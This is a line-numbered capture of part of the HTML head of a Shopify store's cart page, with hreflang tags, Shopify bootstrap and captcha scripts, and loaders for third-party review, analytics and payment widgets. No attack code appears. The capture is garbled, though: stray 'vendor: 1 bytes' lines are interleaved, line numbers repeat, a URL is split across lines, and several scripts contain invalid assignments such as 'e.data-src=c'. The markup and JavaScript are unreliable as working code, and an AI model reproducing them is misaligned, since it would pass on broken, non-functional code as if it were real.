568<link rel="alternate" hreflang="en-MW" href="https://essentialbag.com/cart">
569<link rel="alternate" hreflang="en-MY" href="https://essentialbag.com/cart">
570<link rel="alternate" hreflang="en-MV" href="https://essentialbag.com/cart">
571<link rel="alternate" hreflang="en-ML" href="https://essentialbag.com/cart">
572<link rel="alternate" hreflang="en-MT" href="https://essentialbag.com/cart">
573<link rel="alternate" hreflang="en-MQ" href="https://essentialbag.com/cart">
574<link rel="alternate" hreflang="en-MR" href="https://essentialbag.com/cart">
575<link rel="alternate" hreflang="en-MU" href="https://essentialbag.com/cart">
576<link rel="alternate" hreflang="en-YT" href="https://essentialbag.com/cart">
577<link rel="alternate" hreflang="en-MX" href="https://essentialbag.com/cart">
578<link rel="alternate" hreflang="en-MD" href="https://essentialbag.com/cart">
579<link rel="alternate" hreflang="en-MC" href="https://essentialbag.com/cart">
580<link rel="alternate" hreflang="en-MN" href="https://essentialbag.com/cart">
581<link rel="alternate" hreflang="en-ME" href="https://essentialbag.com/cart">
582<link rel="alternate" hreflang="en-MS" href="https://essentialbag.com/cart">
583<link rel="alternate" hreflang="en-MA" href="https://essentialbag.com/cart">
584<link rel="alternate" hreflang="en-MZ" href="https://essentialbag.com/cart">
585<link rel="alternate" hreflang="en-MM" href="https://essentialbag.com/cart">
586<link rel="alternate" hreflang="en-NA" href="https://essentialbag.com/cart">
587<link rel="alternate" hreflang="en-NR" href="https://essentialbag.com/cart">
588<link rel="alternate" hreflang="en-NP" href="https://essentialbag.com/cart">
589<link rel="alternate" hreflang="en-NC" href="https://essentialbag.com/cart">
590<link rel="alternate" hreflang="en-NZ" href="https://essentialbag.com/cart">
591<link rel="alternate" hreflang="en-NI" href="https://essentialbag.com/cart">
592<link rel="alternate" hreflang="en-NE" href="https://essentialbag.com/cart">
593<link rel="alternate" hreflang="en-NG" href="https://essentialbag.com/cart">
594<link rel="alternate" hreflang="en-NU" href="https://essentialbag.com/cart">
595<link rel="alternate" hreflang="en-NF" href="https://essentialbag.com/cart">
596<link rel="alternate" hreflang="en-MK" href="https://essentialbag.com/cart">
597<link rel="alternate" hreflang="en-OM" href="https://essentialbag.com/cart">
598<link rel="alternate" hreflang="en-PK" href="https://essentialbag.com/cart">
599<link rel="alternate" hreflang="en-PS" href="https://essentialbag.com/cart">
600<link rel="alternate" hreflang="en-PA" href="https://essentialbag.com/cart">
601<link rel="alternate" hreflang="en-PG" href="https://essentialbag.com/cart">
602<link rel="alternate" hreflang="en-PY" href="https://essentialbag.com/cart">
603<link rel="alternate" hreflang="en-PE" href="https://essentialbag.com/cart">
604<link rel="alternate" hreflang="en-PH" href="https://essentialbag.com/cart">
605<link rel="alternate" hreflang="en-PN" href="https://essentialbag.com/cart">
606<link rel="alternate" hreflang="en-PT" href="https://essentialbag.com/cart">
607<link rel="alternate" hreflang="en-QA" href="https://essentialbag.com/cart">
608<link rel="alternate" hreflang="en-RE" href="https://essentialbag.com/cart">
609<link rel="alternate" hreflang="en-RO" href="https://essentialbag.com/cart">
610<link rel="alternate" hreflang="en-RU" href="https://essentialbag.com/cart">
611<link rel="alternate" hreflang="en-RW" href="https://essentialbag.com/cart">
612<link rel="alternate" hreflang="en-WS" href="https://essentialbag.com/cart">
613<link rel="alternate" hreflang="en-SM" href="https://essentialbag.com/cart">
614<link rel="alternate" hreflang="en-ST" href="https://essentialbag.com/cart">
615<link rel="alternate" hreflang="en-SA" href="https://essentialbag.com/cart">
616<link rel="alternate" hreflang="en-SN" href="https://essentialbag.com/cart">
617<link rel="alternate" hreflang="en-RS" href="https://essentialbag.com/cart">
618<link rel="alternate" hreflang="en-SC" href="https://essentialbag.com/cart">
619<link rel="alternate" hreflang="en-SL" href="https://essentialbag.com/cart">
620<link rel="alternate" hreflang="en-SG" href="https://essentialbag.com/cart">
621<link rel="alternate" hreflang="en-SX" href="https://essentialbag.com/cart">
622<link rel="alternate" hreflang="en-SK" href="https://essentialbag.com/cart">
623<link rel="alternate" hreflang="en-SI" href="https://essentialbag.com/cart">
624<link rel="alternate" hreflang="en-SB" href="https://essentialbag.com/cart">
625<link rel="alternate" hreflang="en-SO" href="https://essentialbag.com/cart">
626<link rel="alternate" hreflang="en-ZA" href="https://essentialbag.com/cart">
627<link rel="alternate" hreflang="en-GS" href="https://essentialbag.com/cart">
628<link rel="alternate" hreflang="en-KR" href="https://essentialbag.com/cart">
629<link rel="alternate" hreflang="en-SS" href="https://essentialbag.com/cart">
630<link rel="alternate" hreflang="en-LK" href="https://essentialbag.com/cart">
631<link rel="alternate" hreflang="en-BL" href="https://essentialbag.com/cart">
632<link rel="alternate" hreflang="en-SH" href="https://essentialbag.com/cart">
633<link rel="alternate" hreflang="en-KN" href="https://essentialbag.com/cart">
634<link rel="alternate" hreflang="en-LC" href="https://essentialbag.com/cart">
635<link rel="alternate" hreflang="en-MF" href="https://essentialbag.com/cart">
636<link rel="alternate" hreflang="en-PM" href="https://essentialbag.com/cart">
637<link rel="alternate" hreflang="en-VC" href="https://essentialbag.com/cart">
638<link rel="alternate" hreflang="en-SD" href="https://essentialbag.com/cart">
639<link rel="alternate" hreflang="en-SR" href="https://essentialbag.com/cart">
640<link rel="alternate" hreflang="en-SJ" href="https://essentialbag.com/ca
640rt">
641<link rel="alternate" hreflang="en-TW" href="https://essentialbag.com/cart">
642<link rel="alternate" hreflang="en-TJ" href="https://essentialbag.com/cart">
643<link rel="alternate" hreflang="en-TZ" href="https://essentialbag.com/cart">
644<link rel="alternate" hreflang="en-TH" href="https://essentialbag.com/cart">
645<link rel="alternate" hreflang="en-TL" href="https://essentialbag.com/cart">
646<link rel="alternate" hreflang="en-TG" href="https://essentialbag.com/cart">
647<link rel="alternate" hreflang="en-TK" href="https://essentialbag.com/cart">
648<link rel="alternate" hreflang="en-TO" href="https://essentialbag.com/cart">
649<link rel="alternate" hreflang="en-TT" href="https://essentialbag.com/cart">
650<link rel="alternate" hreflang="en-TA" href="https://essentialbag.com/cart">
651<link rel="alternate" hreflang="en-TN" href="https://essentialbag.com/cart">
652<link rel="alternate" hreflang="en-TR" href="https://essentialbag.com/cart">
653<link rel="alternate" hreflang="en-TM" href="https://essentialbag.com/cart">
654<link rel="alternate" hreflang="en-TC" href="https://essentialbag.com/cart">
655<link rel="alternate" hreflang="en-TV" href="https://essentialbag.com/cart">
656<link rel="alternate" hreflang="en-UM" href="https://essentialbag.com/cart">
657<link rel="alternate" hreflang="en-UG" href="https://essentialbag.com/cart">
658<link rel="alternate" hreflang="en-UA" href="https://essentialbag.com/cart">
659<link rel="alternate" hreflang="en-AE" href="https://essentialbag.com/cart">
660<link rel="alternate" hreflang="en-UY" href="https://essentialbag.com/cart">
661<link rel="alternate" hreflang="en-UZ" href="https://essentialbag.com/cart">
662<link rel="alternate" hreflang="en-VU" href="https://essentialbag.com/cart">
663<link rel="alternate" hreflang="en-VA" href="https://essentialbag.com/cart">
664<link rel="alternate" hreflang="en-VE" href="https://essentialbag.com/cart">
665<link rel="alternate" hreflang="en-VN" href="https://essentialbag.com/cart">
666<link rel="alternate" hreflang="en-WF" href="https://essentialbag.com/cart">
667<link rel="alternate" hreflang="en-EH" href="https://essentialbag.com/cart">
668<link rel="alternate" hreflang="en-YE" href="https://essentialbag.com/cart">
669<link rel="alternate" hreflang="en-ZM" href="https://essentialbag.com/cart">
670<link rel="alternate" hreflang="en-ZW" href="https://essentialbag.com/cart">
671<script async="async" data-src="/checkouts/internal/preloads.js?locale=en-US&default_configuration_id=395444488"></script>
671
672<link rel="preconnect" href="https://shop.app" crossorigin="anonymous">
673<script async="async" data-src="https://shop.app/checkouts/internal/preloads.js?locale=en-US&default_configuration_id=395444488&shop_id=46174666912" crossorigin="anonymous"></script>
vendor: 1 bytes, line 673
673
674<script id="apple-pay-shop-capabilities" type="application/json">{"shopId":46174666912,"countryCode":"DE","currencyCode":"USD","merchantCapabilities":["supports3DS"],"merchantId":"gid:\/\/shopify\/Shop\/46174666912","merchantName":"ESSENTIALBAG","requiredBillingContactFields":["postalAddress","email"],"requiredShippingContactFields":["postalAddress","email"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","maestro"],"total":{"type":"pending","label":"ESSENTIALBAG","amount":"1.00"},"shopifyPaymentsEnabled":true,"supportsSubscriptions":true}</script>
vendor: 1 bytes, line 674
674
675<script id="shopify-features" type="application/json">{"accessToken":"ef0a5f7c660ed31a4d0f933d721a9ef2","betas":["rich-media-storefront-analytics"],"domain":"essentialbag.com","predictiveSearch":true,"shopId":46174666912,"locale":"en"}</script>
vendor: 1 bytes, line 675
675
676<script>var Shopify = Shopify || {};
677Shopify.shop = "eminenter.myshopify.com";
678Shopify.locale = "en";
679Shopify.currency = {"active":"USD","rate":"1.5"};
680Shopify.country = "US";
681Shopify.theme = {"name":"Copy of Engraving + Upsell Issue (Backup)","id":203020534024,"schema_name":"Focal","schema_version":"9.0.0","theme_store_id":714,"role":"main"};
682Shopify.theme.handle = "null";
683Shopify.theme.style = {"id":null,"handle":null};
684Shopify.cdnHost = "essentialbag.com/cdn";
685Shopify.routes = Shopify.routes || {};
686Shopify.routes.root = "/";
687Shopify.shopJsCdnBaseUrl = "https://cdn.shopify.com/shopifycloud/shop-js";
688Shopify.SignInWithShop = Shopify.SignInWithShop || {};
689Shopify.SignInWithShop.User = Shopify.SignInWithShop.User || {};
690Shopify.SignInWithShop.User.recognized = false;</script>
vendor: 1 bytes, line 690
690
691<script type="module">!function(o){(o.Shopify=o.Shopify||{}).modules=!0}(window);</script>
vendor: 1 bytes, line 691
691
692<script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify||{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script>
vendor: 1 bytes, line 692
692
693<script>
694  window.ShopifyPay = window.ShopifyPay || {};
695  window.ShopifyPay.apiHost = "shop.app\/pay";
696  window.ShopifyPay.redirectState = null;
697</script>
vendor: 1 bytes, line 697
697
698<script>
699  window.Shopify = window.Shopify || {};
700  window.Shopify.SignInWithShop = window.Shopify.SignInWithShop || {};
701  window.Shopify.SignInWithShop.assetMetrics = { sampleRate: 0.25 };
702  window.Shopify.SignInWithShop.eligible = true;
703</script>
vendor: 1 bytes, line 703
703
704<script id="shop-js-analytics" type="application/json">{"pageType":"cart"}</script>
vendor: 1 bytes, line 704
704
705<script defer="defer" async type="module" data-src="https://cdn.shopify.com/shopifycloud/shop-js/modules/v2/loader.init-shop-cart-sync.en.esm.js"></script>
vendor: 1 bytes, line 705
705
706<script type="module">
707  await import("https://cdn.shopify.com/shopifycloud/shop-js/modules/v2/loader.init-shop-cart-sync.en.esm.js");
708
709  window.Shopify.SignInWithShop?.initShopCartSync?.({"fedCMEnabled":true,"windoidEnabled":true});
710
711</script>
vendor: 1 bytes, line 711
711
712<script>
713  window.Shopify = window.Shopify || {};
714  if (!window.Shopify.featureAssets) window.Shopify.featureAssets = {};
715  window.Shopify.featureAssets['shop-js'] = {"avatar":["modules/v2/loader.avatar.en.esm.js"],"checkout-modal":["modules/v2/loader.checkout-modal.en.esm.js"],"init-customer-accounts-sign-up":["modules/v2/loader.init-customer-accounts-sign-up.en.esm.js"],"init-customer-accounts":["modules/v2/loader.init-customer-accounts.en.esm.js"],"init-fed-cm":["modules/v2/loader.init-fed-cm.en.esm.js"],"init-shop-cart-sync":["modules/v2/loader.init-shop-cart-sync.en.esm.js"],"init-shop-email-lookup-coordinator":["modules/v2/loader.init-shop-email-lookup-coordinator.en.esm.js"],"init-shop-for-new-customer-accounts":["modules/v2/loader.init-shop-for-new-customer-accounts.en.esm.js"],"init-shop-user-recognition":["modules/v2/loader.init-shop-user-recognition.en.esm.js"],"init-windoid":["modules/v2/loader.init-windoid.en.esm.js"],"lead-capture":["modules/v2/loader.lead-capture.en.esm.js"],"listener":["modules/v2/loader.listener.en.esm.js"],"pay-button":["modules/v2/loader.pay-button.en.esm.js"],"payment-terms":["modules/v2/loader.payment-terms.en.esm.js"],"shop-button":["modules/v2/loader.shop-button.en.esm.js"],"shop-cart-sync":["modules/v2/loader.shop-cart-sync.en.esm.js"],"shop-cash-offers":["modules/v2/loader.shop-cash-offers.en.esm.js"],"shop-follow-button":["modules/v2/loader.shop-follow-button.en.esm.js"],"shop-login-button":["modules/v2/loader.shop-login-button.en.esm.js"],"shop-login":["modules/v2/loader.shop-login.en.esm.js"],"shop-toast-manager":["modules/v2/loader.shop-toast-manager.en.esm.js"],"shop-user-recognition":["modules/v2/loader.shop-user-recognition.en.esm.js"]};
716</script>
vendor: 1 bytes, line 716
716
717<script>(function() {
718  var isLoaded = false;
719  function asyncLoad() {
720    if (isLoaded) return;
721    isLoaded = true;
722    var urls = ["https:\/\/loox.io\/widget\/V1bNVMDjGY\/loox.1639054153864.js?shop=eminenter.myshopify.com","https:\/\/image-optimizer.salessquad.co.uk\/scripts\/tiny_img_not_found_notifier_4057e97aa7a392b915f9847815599cd6.js?shop=eminenter.myshopify.com","https:\/\/widgetic.com\/sdk\/sdk.js?shop=eminenter.myshopify.com","\/\/cdn.shopify.com\/proxy\/63610b7d00f48c08d9b6d94d7a405a38cb39c2a6338a5e41cf5f43824a9e9216\/api.goaffpro.com\/loader.js?shop=eminenter.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA","https:\/\/cdn.shopify.com\/s\/files\/1\/0461\/7466\/6912\/t\/34\/assets\/zendesk-embeddable.js?v=1671822664\u0026shop=eminenter.myshopify.com","https:\/\/intg.snapchat.com\/shopify\/shopify-scevent-init.js?id=8dbee127-6f38-4e24-8332-09213125b4aa\u0026shop=eminenter.myshopify.com","\/\/cdn.shopify.com\/proxy\/7c6a8f6254b37466297ea0216446a421a4e0977fb13dc0e344f93ae0cc3451ec\/cdn.bogos.io\/script_tag\/secomapp.scripttag.js?shop=eminenter.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA"];
723    for (var i = 0; i < urls.length; i++) {
724      var s = document.createElement('script');
725      s.type = 'text/javascript';
726      s.async = true;
727      s.src = urls[i];
728      var x = document.getElementsByTagName('script')[0];
729      x.parentNode.insertBefore(s, x);
730    }
731  };
732  document.addEventListener('StartAsyncLoading',function(event){asyncLoad();});if(window.attachEvent) {
733    window.attachEvent('onload', function(){});
734  } else {
735    window.addEventListener('load', function(){}, false);
736  }
737})();</script>
vendor: 1 bytes, line 737
737
738<script id="__st">var __st={"a":46174666912,"offset":7200,"reqid":"132c6b8b-e9bd-41d0-90a6-98525025f272-1791585648","pageurl":"essentialbag.com\/cart","u":"b57d3b05f1e8","p":"cart"};</script>
vendor: 1 bytes, line 738
738
739<script>window.ShopifyPaypalV4VisibilityTracking = true;</script>
vendor: 1 bytes, line 739
739
740<script id="captcha-bootstrap">!function(){'use strict';const t='contact',e='account',n='new_comment',o=[[t,t],['blogs',n],['comments',n],[t,'customer']],c=[[e,'customer_login'],[e,'guest_login'],[e,'recover_customer_password'],[e,'create_customer']],r=t=>t.map((([t,e])=>`form[action*='/${t}']:not([data-nocaptcha='true']) input[name='form_type'][value='${e}']`)).join(','),a=t=>()=>t?[...document.querySelectorAll(t)].map((t=>t.form)):[];function s(){const t=[...o],e=r(t);return a(e)}const i='password',u='form_key',d=['recaptcha-v3-token','g-recaptcha-response','h-captcha-response',i],f=()=>{try{return window.sessionStorage}catch{return}},m='__shopify_v',_=t=>t.elements[u];function p(t,e,n=!1){try{const o=window.sessionStorage,c=JSON.parse(o.getItem(e)),{data:r}=function(t){const{data:e,action:n}=t;return t[m]||n?{data:e,action:n}:{data:t,action:n}}(c);for(const[e,n]of Object.entries(r))t.elements[e]&&(t.elements[e].value=n);n&&o.removeItem(e)}catch(o){console.error('form repopulation failed',{error:o})}}const l='form_type',E='cptcha';function T(t){t.dataset[E]=!0}const w=window,h=w.document,L='Shopify',v='ce_forms',y='captcha';let A=!1;((t,e)=>{const n=(g='f06e6c50-85a8-45c8-87d0-21a2b65856fe',I='https://cdn.shopify.com/shopifycloud/storefront-forms-hcaptcha/ce_storefront_forms_captcha_hcaptcha.v1.5.3.iife.js',D={infoText:'Protected by hCaptcha',privacyText:'Privacy',termsText:'Terms'},(t,e,n)=>{const o=w[L][v],c=o.bindForm;if(c)return c(t,g,e,D).then(n);var r;o.q.push([[t,g,e,D],n]),r=I,A||(h.body.append(Object.assign(h.createElement('script'),{id:'captcha-provider',async:!0,src:r})),A=!0)});var g,I,D;w[L]=w[L]||{},w[L][v]=w[L][v]||{},w[L][v].q=[],w[L][y]=w[L][y]||{},w[L][y].protect=function(t,e){n(t,void 0,e),T(t)},Object.freeze(w[L][y]),function(t,e,n,w,h,L){const[v,y,A,g]=function(t,e,n){const i=e?o:[],u=t?c:[],d=[...i,...u],f=r(d),m=r(i),_=r(d.filter((([t,e])=>n.includes(e))));return[a(f),a(m),a(_),s()]}(w,h,L),I=t=>{const e=t.target;return e instanceof HTMLFormElement?e:e&&e.form},D=t=>v().includes(t);t.addEventListener('submit',(t=>{const e=I(t);if(!e)return;const n=D(e)&&!e.dataset.hcaptchaBound&&!e.dataset.recaptchaBound,o=_(e),c=g().includes(e)&&(!o||!o.value);(n||c)&&t.preventDefault(),c&&!n&&(function(t){try{if(!f())return;!function(t){const e=f();if(!e)return;const n=_(t);if(!n)return;const o=n.value;o&&e.removeItem(o)}(t);const e=Array.from(Array(32),(()=>Math.random().toString(36)[2])).join('');!function(t,e){_(t)||t.append(Object.assign(document.createElement('input'),{type:'hidden',name:u})),t.elements[u].value=e}(t,e),function(t,e){const n=f();if(!n)return;const o=[...t.querySelectorAll(`input[type='${i}']`)].map((({name:t})=>t)),c=[...d,...o],r={};for(const[a,s]of new FormData(t).entries())c.includes(a)||(r[a]=s);n.setItem(e,JSON.stringify({[m]:1,action:t.action,data:r}))}(t,e)}catch(e){console.error('failed to persist form',e)}}(e),e.submit())}));const S=(t,e)=>{t&&!t.dataset[E]&&(n(t,e.some((e=>e===t))),T(t))};for(const o of['focusin','change'])t.addEventListener(o,(t=>{const e=I(t);D(e)&&S(e,y())}));const B=e.get('form_key'),M=e.get(l),P=B&&M;t.addEventListener('DOMContentLoaded',(()=>{const t=y();if(P)for(const e of t)e.elements[l].value===M&&p(e,B);[...new Set([...A(),...v().filter((t=>'true'===t.dataset.shopifyCaptcha))])].forEach((e=>S(e,t)))}))}(h,new URLSearchParams(w.location.search),n,t,e,['guest_login'])})(!0,!0)}();</script>
vendor: 1 bytes, line 740
740
741<script integrity="sha256-JjoPp5ZfB1sSAs5SQaol1x1GgvveM+BgmRzyDexInEQ=" data-source-attribution="shopify.loadfeatures" defer="defer" data-src="//essentialbag.com/cdn/shopifycloud/storefront/assets/storefront/load_feature-1bd60354.js" crossorigin="anonymous"></script>
vendor: 1 bytes, line 741
741
742<script>(function () {var userAgent = navigator.userAgent;var platform = navigator.platform;var maxTouchPoints = navigator.maxTouchPoints || 0;var isIOS = /iPad|iPhone|iPod/.test(platform) || (platform === 'MacIntel' && maxTouchPoints > 1);var isMacSafari = platform.indexOf('Mac') === 0 && /Safari/.test(userAgent) && !/Chrome|Chromium|CriOS|FxiOS|Edg|OPR|Android/.test(userAgent);var isAppleSafari = isIOS || isMacSafari;if (isAppleSafari) {fetch('/sf_private_access_tokens' + location.search).catch(function () {});}function browserMajorVersion(pattern) {var match = userAgent.match(pattern);return match ? parseInt(match[1], 10) : null;}function shouldLoadAutosizesPolyfill() {if (!window.PerformanceObserver?.supportedEntryTypes?.includes('paint')) {return false;}var chromeVersion = browserMajorVersion(/Chrome\/(\d+)/);if (chromeVersion !== null) {return chromeVersion < 126;}var firefoxVersion = browserMajorVersion(/Firefox\/(\d+)/);if (firefoxVersion !== null) {return firefoxVersion < 150;}var safariVersion = isAppleSafari ? browserMajorVersion(/Version\/(\d+).*Safari\//) : null;if (safariVersion !== null) {return safariVersion < 27;}return true;}if (shouldLoadAutosizesPolyfill()) {var autosizesScript = document.createElement('script');autosizesScript.async = true;autosizesScript.crossOrigin = 'anonymous';autosizesScript.src = "//essentialbag.com/cdn/shopifycloud/storefront/assets/storefront/autosizes-84416378.js";(document.head || document.documentElement).appendChild(autosizesScript);}window.ShopifyAnalytics = window.ShopifyAnalytics || {};window.ShopifyAnalytics.performance = window.ShopifyAnalytics.performance || {};(function () {var LONG_FRAME_THRESHOLD = 50;var longAnimationFrames = [];var activeRafId = null;function collectLongFrames() {var previousTime = null;function rafMonitor(now) {if (activeRafId === null) {return;}var delta = now - previousTime;if (delta > LONG_FRAME_THRESHOLD) {longAnimationFrames.push({startTime: previousTime,endTime: now,});}previousTime = now;activeRafId = requestAnimationFrame(rafMonitor);}previousTime = performance.now();activeRafId = requestAnimationFrame(rafMonitor);}if (!window.PerformanceObserver?.supportedEntryTypes?.includes('long-animation-frame')) {collectLongFrames();var timeoutId = setTimeout(function () {cancelAnimationFrame(activeRafId);}, 10000);window.ShopifyAnalytics.performance.getLongAnimationFrames = function (stopCollection) {if (stopCollection === undefined) {stopCollection = false;}if (stopCollection) {clearTimeout(timeoutId);cancelAnimationFrame(activeRafId);}return longAnimationFrames;};}})();})();</script>
742<script crossorigin="anonymous" defer="defer" data-src="//essentialbag.com/cdn/shopifycloud/storefront/assets/shopify_pay/storefront-f0e26bdf.js?v=20250812"></script>
vendor: 1 bytes, line 742
742
743<script id="shopify-origin-trials" async="async" integrity="sha256-qJbe/jEZBHtr5W/BlA2cKAz3vkXu6vJQyLjgvgCC86g=" data-src="//cdn.shopify.com/shopifycloud/storefront/assets/storefront/origin_trials-318ab40a.js" crossorigin="anonymous" onload="window.__shopifyOriginTrialsDone = true" onerror="window.__shopifyOriginTrialsDone = true"></script>
vendor: 1 bytes, line 743
743
744<script>
745  window.Shopify = window.Shopify || {};
746  window.Shopify.MCP = window.Shopify.MCP || {};
747  window.Shopify.MCP.enabled = true;
748  window.Shopify.MCP.shop = "eminenter.myshopify.com";
749  window.Shopify.MCP.mcpEndpoint = "https:\/\/essentialbag.com\/api\/mcp";
750  window.Shopify.MCP.tools = [{"name":"search_shop_policies_and_faqs","description":"Used to get facts about the stores policies, products, or services.\nSome examples of questions you can ask are:\n  - What is your return policy?\n  - What is your shipping policy?\n  - What is your phone number?\n  - What are your hours of operation?\"\nSet policy_types to also get the store's written policies (full text and URL).\n","inputSchema":{"$schema":"https:\/\/json-schema.org\/draft\/2020-12\/schema","type":"object","properties":{"query":{"type":"string","description":"A natural language query."},"context":{"type":"string","description":"Additional information about the request such as user demographics, mood, location, or other relevant details that could help in tailoring the response appropriately."},"policy_types":{"type":"array","items":{"type":"string","enum":["refund","shipping","privacy","terms_of_service","terms_of_sale","subscription","legal_notice","contact"]},"description":"Policy kinds to fetch, chosen from the user's question — e.g. [\"refund\"] for returns\/exchanges\/damaged items, [\"contact\"] for phone\/hours\/address. Include every kind the question touches. Omit it to get only FAQ answers."}},"required":["query"]}}];
751</script>
vendor: 1 bytes, line 751
751
752<script>(()=>{var d="shopify:webmcp_adapter_loaded",n=Symbol.for("shopify.webmcp_adapter_loading");function s(c,a,{win:r=window,doc:o=document}={}){function p(){try{return r.localStorage.getItem(d)==="true"}catch{return!1}}function l(){try{r.localStorage.setItem(d,"true")}catch{}}function u(){return typeof(o.modelContext||r.navigator?.modelContext)?.registerTool=="function"}function f(){if(r[n]||!u())return;let t=o.head||o.getElementsByTagName("head")[0];if(!t)return;let e=o.createElement("script");e.type="module",e.crossOrigin="anonymous",a&&(e.integrity=a),e.data-src=c,e.addEventListener("load",l,{once:!0}),e.addEventListener("error",()=>{r[n]=!1},{once:!0}),t.appendChild(e),r[n]=!0}function _(t){let e=o.getElementById("shopify-origin-trials");if(!e||r.__shopifyOriginTrialsDone){t();return}e.addEventListener("load",t,{once:!0}),e.addEventListener("error",t,{once:!0})}function i(){_(()=>r.setTimeout(f,0))}function m(){o.addEventListener("DOMContentLoaded",i,{once:!0})}p()?i():m()}s("\/\/essentialbag.com\/cdn\/shopifycloud\/storefront\/assets\/storefront\/webmcp-f427de6a.js","sha256-ypGF+5vIq4Psw4WG7nsVtdd\/TCfsJWnrNuACdqLCElY=");})();
753</script>
vendor: 1 bytes, line 753
753
754<script data-source-attribution="shopify.dynamic_checkout.dynamic.init">var Shopify=Shopify||{};Shopify.PaymentButton=Shopify.PaymentButton||{isStorefrontPortableWallets:!0,init:function(){window.Shopify.PaymentButton.init=function(){};var t=document.createElement("script");t.data-src="https://essentialbag.com/cdn/shopifycloud/portable-wallets/latest/portable-wallets.en.js",t.type="module",document.head.appendChild(t)}};
755</script>
vendor: 1 bytes, line 755
755
756<script data-source-attribution="shopify.dynamic_checkout.buyer_consent">
757  function portableWalletsHideBuyerConsent(e){var t=document.getElementById("shopify-buyer-consent"),n=document.getElementById("shopify-subscription-policy-button");t&&n&&(t.classList.add("hidden"),t.setAttribute("aria-hidden","true"),n.removeEventListener("click",e))}function portableWalletsShowBuyerConsent(e){var t=document.getElementById("shopify-buyer-consent"),n=document.getElementById("shopify-subscription-policy-button");t&&n&&(t.classList.remove("hidden"),t.removeAttribute("aria-hidden"),n.addEventListener("click",e))}window.Shopify?.PaymentButton&&(window.Shopify.PaymentButton.hideBuyerConsent=portableWalletsHideBuyerConsent,window.Shopify.PaymentButton.showBuyerConsent=portableWalletsShowBuyerConsent);
758</script>
vendor: 1 bytes, line 758
758
759<script data-source-attribution="shopify.dynamic_checkout.cart.bootstrap">document.addEventListener("DOMContentLoaded",(function(){function t(){return document.querySelector("shopify-accelerated-checkout-cart, shopify-accelerated-checkout")}if(t())Shopify.PaymentButton.init();else{new MutationObserver((function(e,n){t()&&(Shopify.PaymentButton.init(),n.disconnect())})).observe(document.body,{childList:!0,subtree:!0})}}));
760</script>
760
761<link id="shopify-accelerated-checkout-styles" rel="stylesheet" media="screen" href="https://essentialbag.com/cdn/shopifycloud/portable-wallets/latest/accelerated-checkout-backwards-compat.css" crossorigin="anonymous">
762<style id="shopify-accelerated-checkout-cart">
763        #shopify-buyer-consent {
764  margin-top: 1em;
765  display: inline-block;
766  width: 100%;
767}
768
769#shopify-buyer-consent.hidden {
770  display: none;
771}
772
773#shopify-subscription-policy-button {
774  background: none;
775  border: none;
776  padding: 0;
777  text-decoration: underline;
778  font-size: inherit;
779  cursor: pointer;
780}
781
782#shopify-subscription-policy-button::before {
783  box-shadow: none;
784}
785
786      </style>
787
788<script id="shopify-cfh-end">window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end');</script>
788
789
790
791    <!-- __LXV: 1791309667121;__LXR: https://loox.io;__LXC: V1bNVMDjGY; -->
791<script>var loox_global_hash = '1791309667121';
792var loox_bundle_reviews_enabled = false;</script>
792<script>var loox_pop_active = true;var loox_pop_display = {"home_page":true,"product_page":false,"cart_page":true,"other_pages":false};</script>
792<style>.loox-reviews-default { max-width: 1200px; margin: 0 auto; }.loox-rating .loox-icon { color:#ebc23e; }
793:root { --lxs-rating-icon-color: #ebc23e; }</style>
794    
795        <!-- candyrack-script -->
796        
796<script src="//essentialbag.com/cdn/shop/t/186/assets/candyrack-config.js?v=128743589354287189111791342722" defer></script>
796
797        <!-- / candyrack-script -->
798        
799    
799<script
800      data-src="https://www.paypal.com/sdk/js?client-id=AR1LerEoAdPdsUb2aph5Iq6azZSwsiY4Ks2ANjxwSShZlvsAWGdNLAso9ODXo0ZhHJQPhURmJIwIayHH&currency=EUR&components=messages"
801      data-namespace="PayPalSDK"
802    ></script>
802
803    
803<script async data-src="https://static.klaviyo.com/onsite/js/klaviyo.js?company_id=TUzBeb"></script>
803
804    
804<script>
805      !(function () {
806        if (!window.klaviyo) {
807          window._klOnsite = window._klOnsite || [];
808          try {
809            window.klaviyo = new Proxy(
810              {},
811              {
812                get: function (n, i) {
813                  return 'push' === i
814                    ? function () {
815                        var n;
816                        (n = window._klOnsite).push.apply(n, arguments);
817                      }
818                    : function () {
819                        for (var n = arguments.length, o = new Array(n), w = 0; w < n; w++) o[w] = arguments[w];
820                        var t = 'function' == typeof o[o.length - 1] ? o.pop() : void 0,
821                          e = new Promise(function (n) {
822                            window._klOnsite.push(
823                              [i].concat(o, [
824                                function (i) {
825                                  t && t(i), n(i);
826                                },
827                              ])
828                            );
829                          });
830                        return e;
831                      };
832                },
833              }
834            );
835          } catch (n) {
836            (window.klaviyo = window.klaviyo || []),
837              (window.klaviyo.push = function () {
838                var n;
839                (n = window._klOnsite).push.apply(n, arguments);
840              });
841          }
842        }
843      })();
844    </script>
844
845    
845<script
846      data-src="https://cdn.shopify.com/extensions/c424f953-7c67-4b19-a5d1-727d76d82e8a/essential-countdown-53/assets/countdown_timer_essential_apps.min.js"
847      type="text/javascript"
848      defer="defer"
849    ></script>
849
850    
850<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
850
851
852    
852<script type="text/javascript">
853      (function (c, l, a, r, i, t, y) {
854        c[a] =
855          c[a] ||
856          function () {
857            (c[a].q = c[a].q || []).push(arguments);
858          };
859        t = l.createElement(r);
860        t.async = 1;
861        t.src = 'https://www.clarity.ms/tag/' + i;
862        y = l.getElementsByTagName(r)[0];
863        y.parentNode.insertBefore(t, y);
864      })(window, document, 'clarity', 'script', 'qffgf9w6su');
865    </script>
865
866
867    
868      
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887<script id="ABConvert-url-redirect-test-v1">
888var abconvertNamespaceGroups = null;
889window.abconvertNamespaceGroups = abconvertNamespaceGroups;
890
891var abconvertThemeTestLiquidVariables = { abconvertDesignMode:false
892};
893
894Object.keys(abconvertThemeTestLiquidVariables).forEach(function(key) { window[key] =
895abconvertThemeTestLiquidVariables[key]; });
